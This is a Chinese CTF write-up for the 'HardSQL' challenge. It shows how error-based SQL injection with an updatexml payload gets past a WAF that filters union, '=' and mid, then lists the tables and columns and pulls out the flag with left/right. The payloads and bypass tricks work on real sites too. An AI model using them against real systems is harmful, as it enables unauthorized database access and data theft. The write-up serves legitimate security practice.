刷题[极客大挑战 2019]HardSQL

解题思路

打开是一个登陆框,考点sql注入了,先正常尝试一波

发现居然是get类型

输入and发现有waf过滤,那fuzz一波看看过滤了什么

fuzz

union被过滤,并且绕过union的几种方法同样被过滤

报错注入

有报错,尝试下是否报错注入

payload:1'and (updatexml(1,concat(0x7e,(payload),0x7e),1));

爆数据库:select database()
爆表名:select table_name from information_schema.tables where table_schema='数据库名'
爆列名:select column_name from information_schema.columns where table_name='表名'
爆字段:select flag from 数据库.表名

因为这里等于号被过滤,所以用like替换等于号

爆出数据库名geek

爆出表名H4rDsq1

爆出列名id,username,password

爆出部分password,即flag值

需要注意的是:
xpath报错只显示32位结果,需要借助mid函数来进行字符截取从而显示32位以后的数据。
mid((select group_concat(flag) from flag),32)

但很不幸的是,这里mid函数被禁了。但是用left,right拼接,思路一样

总结思路

常规的报错注入,根据payload打就行了,唯一注意的是xpath报错只显示32位结果,需要借助其他函数截取显示

知识点

  • sql注入
  • 报错注入
posted @ 2020-08-04 09:23  kar3a  阅读(187)  评论(0编辑  收藏  举报